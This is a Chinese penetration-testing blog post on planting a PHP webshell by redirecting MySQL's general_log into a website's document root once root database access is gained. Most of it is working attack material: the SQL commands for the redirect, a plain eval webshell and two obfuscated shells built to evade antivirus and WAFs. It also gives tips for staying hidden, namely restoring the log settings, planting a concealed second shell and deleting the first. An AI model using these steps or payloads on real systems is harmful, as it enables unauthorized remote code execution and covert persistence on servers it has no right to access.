?

Oct 14 2017

利用mysql general log 寫shell 可行性簡要分析

首頁 » 滲透測試 » 利用mysql general log 寫shell 可行性簡要分析   


0×01 前言:

   實際滲透過程中,我們很可能會遇到這樣的情況,明明是正兒八經的mysql root權限,但實際利用into outfile寫shell的時候,卻怎么都寫不進去,前提可以肯定的是,我們對目標的網站目錄絕對是有寫權限的且mysql的root用戶本身并沒有被降權,一般出現這樣的情況很可能就是因為into outfile被禁用或waf攔截,希望下面的方式能幫到你

1.png

0×02 拿shell:

   利用mysql日志文件來寫shell,究其原理其實也非常簡單,當我們開啟general_log以后,每執行一條sql都會被自動記錄到這個日志文件中,我們就可以通過這種方式,把我們的shell代碼也自動寫進去,運維可能平時都是拿這個來查慢查詢,只會臨時開啟下,所以,如果想利用,就只能我們自己手動開,這就是為什么要root權限才行,因為它涉及到mysql自身參數配置,其實,這里稍微有點兒mysql常識心里都很清楚:

先看下當前mysql默認的日志位置在什么地方,'C:\ProgramData\MySQL\MySQL Server 5.5\Data\2008R2DC.log'
順手把原來正常的日志路徑稍微記錄下,等會兒干完活兒再把它恢復回來
mysql> show variables like '%general%';

默認基本都是關閉的,不然這個增刪改查的記錄量可能會非常大
mysql> set global general_log = on;    

 2.png


此時,再將原本的日志文件位置指向到目標網站的物理路徑
mysql> set global general_log_file = 'C:/Program Files (x86)/Apache Software Foundation/Apache2.2/htdocs/abouts.php';

開始寫shell,這里就是個普通的shell,不免殺,如果有waf的話,可以用下面的免殺shell
3.png
4.png



 mysql> select '<?php eval($_POST[request]);?>';


mysql> select "<?php $sl = create_function('', @$_REQUEST['klion']);$sl();?>";    免殺shell,eval方式 mysql> SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['klion']));?>";     別人的免殺shell,assert&base64encode方式


0×03 務必要處理好后事

最后,干完活兒以后務必記得把配置恢復原狀,然后悄悄的離開就好
[不然,目標站如果訪問量比較大,日志文件可能會瞬間暴增連shell時會巨卡]
拿到shell記得馬上再傳一個shell[放的隱蔽點,關于webshell隱藏細節,請參考博客相關文章]
然后再通過新的shell把最開始這個shell刪掉,謹慎一點,起碼不會讓你的shell掉的那么快
mysql> set global general_log_file = 'C:\ProgramData\MySQL\MySQL Server 5.5\Data\2008R2DC.log';
mysql> set global general_log = off;

0×04 后話

   并不是什么特別新奇的技巧,都是mysql自身的一些基礎特性挖掘利用,大家真正的理解才是主要的,利用過程中可能并非一帆風順,把解決問題的過程記錄下來,才是你真正的收獲,祝大家好運

0×05 想成功利用的兩個必要條件

事先要想辦法找到目標站點的物理路徑,不然要把log指向哪里呢
因為我們從外部能訪問并執行webshell的地方只有目標的網站目錄
當前數據庫服務用戶對所上面指向的目標網站目錄必須能寫,不然,log文件是根本沒法創建的
其實,說實話,能同時滿足這兩點的目標并不多
如果目標網站對錯誤處理的很好,web服務用戶和數據庫用戶權限隔離很清晰基本也是很難利用成功的,確實略顯積累,但不失為一種好思路,非常值得拓展
像這種東西可能還是比較適合那些集成環境,比如,appserv,xampp...
因為權限全部都映射到同一個系統用戶上了,如果是win平臺,權限通常都比較高[實際上多數都直接是system]

http://www.freebuf.com/column/150308.html
正文部分到此結束

文章標簽:這篇文章木有標簽

版權聲明:若無特殊注明,本文皆為( mOon )原創,轉載請保留文章出處。

也許喜歡: «CodeIgniter框架內核設計缺陷可致任意代碼執行 | 神奇的Content-Type——在JSON中玩轉XXE攻擊»

你腫么看?

你還可以輸入 250/250 個字

? 微笑 大笑 拽 大哭 親親 流汗 噴血 奸笑 囧 不爽 暈 示愛 害羞 吃驚 驚嘆 愛你 嚇死了 呵呵

評論信息框

這篇文章還沒有收到評論,趕緊來搶沙發吧~

?
?
河北11选5开奖